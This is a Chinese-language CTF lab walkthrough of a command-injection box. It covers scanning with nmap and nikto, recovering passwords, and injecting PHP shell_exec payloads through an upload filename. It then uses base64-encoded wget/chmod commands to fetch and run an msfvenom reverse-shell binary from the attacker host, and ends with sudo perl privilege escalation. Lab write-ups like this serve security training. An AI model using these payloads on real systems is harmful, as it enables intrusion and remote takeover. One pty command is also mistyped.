【CTF】命令注入实战
kali:192.168.223.131
target:192.168.223.175
通过arp-scan -l
获取目标IP为192.168.223.175,nmap扫描一下,开放80端口,
nmap -p- -A 192.168.223.175
nikto扫描一下,发现robots.txt,在里面依次翻找敏感文件
nikto -h 192.168.223.175
在nothing的页面源代码中查到一些密码:freedom、password、helloworld!、diana、iloveroot
同时在扫描中找到secure的目录,打开找到backup.zip
预览zip文件是个MP3格式的文件,但是需要密码,尝试把nothing中的密码输入,得到正确密码为freedom
将mp3文件解压出来后查看一下文件类型,发现是ascii的txt文件
file backup-cred.mp3
cat backup-cred.mp3
得到用户名是touhid,获得一个url为/SecreTSMSgatwayLogin
,访问发现是个登陆界面,将账号和密码依次试一下,发现正确账号密码为touhid和diana
在send from file中有文件上传点,只能上传csv格式的文件,上传后发现会将上传的内容输出
在下一次的抓包中修改文件名
<?php system('uname -a');die();?>.php
发现输出信息是Linux系统,说明存在命令执行的漏洞,通过msf生成Linux木马
msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.223.131 lport=4444 -f elf > shell
打开msf进行监听
msfconsole
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set lhost 192.168.223.131
exploit
开启http服务
python -m SimpleHTTPServer 8000
将木马下载的指令进行base64编码,将下载下来的文件放在/tmp下取名为shell同时base64加密
echo 'wget http://192.168.223.131:8000/shell -O /tmp/shell' | base64
//d2dldCBodHRwOi8vMTkyLjE2OC4yMjMuMTMxOjgwMDAvc2hlbGwgLU8gL3RtcC9zaGVsbAo=
echo 'chmod 777 /tmp/shell' | base64
//Y2htb2QgNzc3IC90bXAvc2hlbGwK
echo '/tmp/shell' | base64
//L3RtcC9zaGVsbAo=
在数据包中修改文件名
<?php shell_exec(base64_decode('d2dldCBodHRwOi8vMTkyLjE2OC4yMjMuMTMxOjgwMDAvc2hlbGwgLU8gL3RtcC9zaGVsbAo='));die();?>.php
<?php shell_exec(base64_decode('Y2htb2QgNzc3IC90bXAvc2hlbGwK'));die();?>.php
<?php shell_exec(base64_decode('L3RtcC9zaGVsbAo='));die();?>.php
修改文件名最好是抓一次改一次放一次,repeater模块无法连续重放
此时木马上线,shell确实可以,通过 sudo -l
发现NOPASSWORD:/usr/bin/perl
,美化界面后直接提权,进入root目录拿到flag
python -c 'import pty:pty.spawn("/bin/bash")'
//通过perl免密码获取权限
sudo -l
sudo perl -e "exec '/bin/sh'"
总结
- 每次提交文件,都会出现文件名,如果输入一个
.php
的文件每次都会执行 - 对于上传到/tmp目录下,因为对网站目录并不熟悉,但是每个Linux系统都有tmp文件,/tmp目录可读可写可执行
- 允许Linux木马每次输入一下文件名就可以执行